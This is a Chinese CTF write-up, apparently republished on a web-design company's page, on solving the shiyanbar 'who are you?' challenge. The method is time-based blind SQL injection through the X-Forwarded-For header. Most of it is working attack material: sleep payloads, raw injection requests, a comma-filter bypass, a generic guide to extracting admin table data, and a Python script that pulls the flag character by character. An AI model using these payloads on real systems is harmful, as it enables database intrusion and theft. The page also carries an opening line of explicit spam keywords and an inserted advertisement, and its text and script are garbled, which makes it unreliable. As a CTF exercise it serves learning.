真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

記錄實(shí)驗(yàn)吧CTF庫(kù)whoareyou?過(guò)程

首先我承認(rèn)我看了別人怎么做的

因?yàn)槲也]有什么經(jīng)驗(yàn)雖然知道回顯是由X-Forwarded-For 參數(shù)導(dǎo)致的 但一直無(wú)法利用 所以看了demo

因?yàn)樯婕暗揭獙懩_本記錄注入過(guò)程 所以特此記錄

我看了2個(gè)demo選擇了最直接的一個(gè)也就是使用awvs掃描 然后再python掃 因?yàn)槲矣X得我并沒有手工找注入點(diǎn)的本事 先學(xué)學(xué)利用工具


雖然別人寫了用awvs 但是開始不管怎么掃描都是掃描不出來(lái)  后來(lái)。。一個(gè)簡(jiǎn)單的辦法原來(lái)是這樣  附圖:


目前累計(jì)服務(wù)客戶上千家,積累了豐富的產(chǎn)品開發(fā)及服務(wù)經(jīng)驗(yàn)。以網(wǎng)站設(shè)計(jì)水平和技術(shù)實(shí)力,樹立企業(yè)形象,為客戶提供成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、網(wǎng)站策劃、網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)絡(luò)營(yíng)銷、VI設(shè)計(jì)、網(wǎng)站改版、漏洞修補(bǔ)等服務(wù)。成都創(chuàng)新互聯(lián)始終以務(wù)實(shí)、誠(chéng)信為根本,不斷創(chuàng)新和提高建站品質(zhì),通過(guò)對(duì)領(lǐng)先技術(shù)的掌握、對(duì)創(chuàng)意設(shè)計(jì)的研究、對(duì)客戶形象的視覺傳遞、對(duì)應(yīng)用系統(tǒng)的結(jié)合,為客戶提供更好的一站式互聯(lián)網(wǎng)解決方案,攜手廣大客戶,共同發(fā)展進(jìn)步。

記錄實(shí)驗(yàn)吧 CTF庫(kù) who are you? 過(guò)程

好簡(jiǎn)單  然后發(fā)現(xiàn)了果然是可以注入的 好像是基于的時(shí)間延遲 可惜沒系統(tǒng)學(xué)習(xí)不懂 后期補(bǔ)學(xué)習(xí)內(nèi)容

給的內(nèi)容是:
Tests performed:

  • (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.053 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.062 s

  • (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 3.042 s

  • (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ => 9.033 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.047 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.047 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.046 s

  • (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.052 s

  • (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.063 s


Original value: 1



然后使用 http editor 測(cè)試

簡(jiǎn)化的get數(shù)據(jù)為

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select(sleep(5)))v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com


這樣就是有效的

反復(fù)改變應(yīng)該在select(sleep(5)) 修改能辦到

因?yàn)椴恍⌒目吹絛emo 用了case 語(yǔ)句 所以在測(cè)試機(jī)上 使用這樣的語(yǔ)句測(cè)試了下:

select case when (select length(test) from aaa) then sleep(2) else sleep(0) end

是有效的。。

替換掉get數(shù)據(jù)依然有效果

然后想了下 實(shí)驗(yàn)吧的測(cè)試 基本上表字段都是 flag 于是我試一試看行不行 好像可以

get請(qǐng)求為:

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select case when (select length(flag) from flag)>10  then sleep(2) else sleep(0) end)v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com

然后就是開始判斷他的值了 不過(guò)貌似需要用循環(huán)函數(shù)去猜解  雖然他給了demo但是還是自己弄一弄

首先我知道了表 字段 就只需要猜字段數(shù)據(jù)長(zhǎng)度 和 字段的每一個(gè)字母了

首先百度如何猜字段數(shù)據(jù)長(zhǎng)度內(nèi)容如下:

1.猜解表名:
http://xxx.com/test.asp?id=123 and (select count(*) from admin)>=0//猜解是否有表admin
2.猜解字段名:
http://xxx.com/test.asp?id=123 and (select count(adminname) from admin)>=0//admin表中是否有字段adminname
3.猜解字段長(zhǎng)度:
//從admin表中選取第一條記錄,來(lái)獲取這條記錄的adminname字段長(zhǎng)度
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)>=0
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)=7//字段adminname長(zhǎng)度為7
4.猜解字段值:
//從admin表中選取第一條記錄,逐個(gè)猜解字段adminname的值,直到7個(gè)
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,1,1)) from admin)=97
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,2,1)) from admin)=78
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,3,1)) from admin)=96
..........
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,7,1)) from admin)=102

首先猜一下字段的長(zhǎng)度

字段長(zhǎng)度猜解 應(yīng)手動(dòng)很快

反復(fù)大于小于 求得應(yīng)該是32個(gè)字符(上邊用的len 好像不對(duì)應(yīng)該是數(shù)據(jù)庫(kù)不一樣 我這里用的length)

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select case when ((select length(flag) from flag) = 32) then sleep(1) else sleep(0) end)v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com

這里說(shuō)下我用的工具 還是用的awvs的  http editor

記錄實(shí)驗(yàn)吧 CTF庫(kù) who are you? 過(guò)程


然后繼續(xù)在測(cè)試機(jī)上寫驗(yàn)證字符串的sql 不過(guò)我先創(chuàng)建張模擬一樣的表試試。

剛剛發(fā)現(xiàn)if也應(yīng)該可以做不用用case if 看著更明朗

select if((select length(flag) from flag) = 32,sleep(1),sleep(0));


可惜我替換成這樣的  sleep失效  哎繼續(xù)看怎么判斷 我現(xiàn)在唯一應(yīng)該能用的可以使用

select substring(flag,2,1) from flag 應(yīng)該這樣就可以了應(yīng)該要使用substring函數(shù)  這個(gè)和mid應(yīng)該是一樣的。

試一下 按照慣例 應(yīng)該值應(yīng)該是 flag{} 這樣的。。試一下

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select case when ((select substring(flag,1,1) from flag) = 'f') then sleep(1) else sleep(0) end)v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com

但是好像時(shí)間不是1S  猜測(cè)難道失敗了?  回想了下剛剛if 也是沒效果
if的回顯:
your ip is :1'+(select 1 from(select if((select length(flag) from flag) = 32

貌似從,開始被截?cái)嗔恕?/p>

看來(lái)不解決逗號(hào)不能前進(jìn)了。。。

繼續(xù)搜資料

http://www.91ri.org/12168.html

不得不佩服資源的強(qiáng)大

修改后的請(qǐng)求:

GET /web/wonderkun/ HTTP/1.1

X-Forwarded-For: 1'+(select 1 from(select case when ((select substring(flag from 1 for 1) from flag) = 'f') then sleep(1) else sleep(0) end)v)+'

Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php

Host: ctf5.shiyanbar.com

然后試了一下貌似不行 我把后邊sleep(0)改為了5 出效果了

開始寫腳本

(首先得需要一個(gè)python實(shí)例手冊(cè))

先搜索request 然后看看get 請(qǐng)求怎么寫的 和加入header信息

記錄實(shí)驗(yàn)吧 CTF庫(kù) who are you? 過(guò)程

擼一擼

因?yàn)榭赡苄枰貜?fù)調(diào)用先封裝成一個(gè)方法

筆者不知道 {} 怎么添加所以也百度了一下

再然后應(yīng)該是怎么判斷時(shí)間 只需要time取執(zhí)行前 和執(zhí)行后就應(yīng)該可以了 然后整一個(gè)循環(huán) 應(yīng)該就能搞定


如下代碼含注釋 即可完成:

# -*- coding: utf-8 -*-

import requests

import time

#定義個(gè)方法返回時(shí)間時(shí)間差  var定義為猜解字符  num為猜解的多少位

def test(var,num):

#url鏈接

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'

#頭信息 X-Forwarded-For 插入變量

headers = {}   

#X-Forwarded-For 指定 如果是該字符 進(jìn)行sleep 5秒

headers['X-Forwarded-For']="""1'+(select 1 from(select case when ((select substring(flag from """+str(num)+""" for 1) from flag) = '"""+str(var)+"""') then sleep(5) else sleep(0) end)v)+'"""

headers['Referer']='http://ctf5.shiyanbar.com/web/wonderkun/index.php'

headers['Host']='ctf5.shiyanbar.com'

#執(zhí)行前時(shí)間獲取

time_start=time.time();

r = requests.get(url,headers=headers);

#執(zhí)行后時(shí)間獲取

time_stop=time.time();

#返回時(shí)間差

return int(time_stop)-int(time_start);

#定義testChar 為一個(gè)字符串字典

testChar='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'

#手工檢測(cè)出32位進(jìn)行循環(huán)猜解 先進(jìn)入一個(gè)循環(huán)破解的多少個(gè)字符串 

for x in xrange(1,33):

#循環(huán)單個(gè)破解的字

for j in testChar:

#判斷時(shí)間差是否大于等于5 

if test(j,x) >= 5:

#破解后字符

print str(x)+':'+str(j)

值得注意xrange 1,33 我開始寫錯(cuò)了 寫成32 結(jié)果只出來(lái)31個(gè)值。。。 還有就是此題沒說(shuō) ctf{} 擴(kuò)起來(lái) 坑啊!!

題:
http://ctf5.shiyanbar.com/web/wonderkun/index.php



本文題目:記錄實(shí)驗(yàn)吧CTF庫(kù)whoareyou?過(guò)程
當(dāng)前路徑:http://weahome.cn/article/iigeoc.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部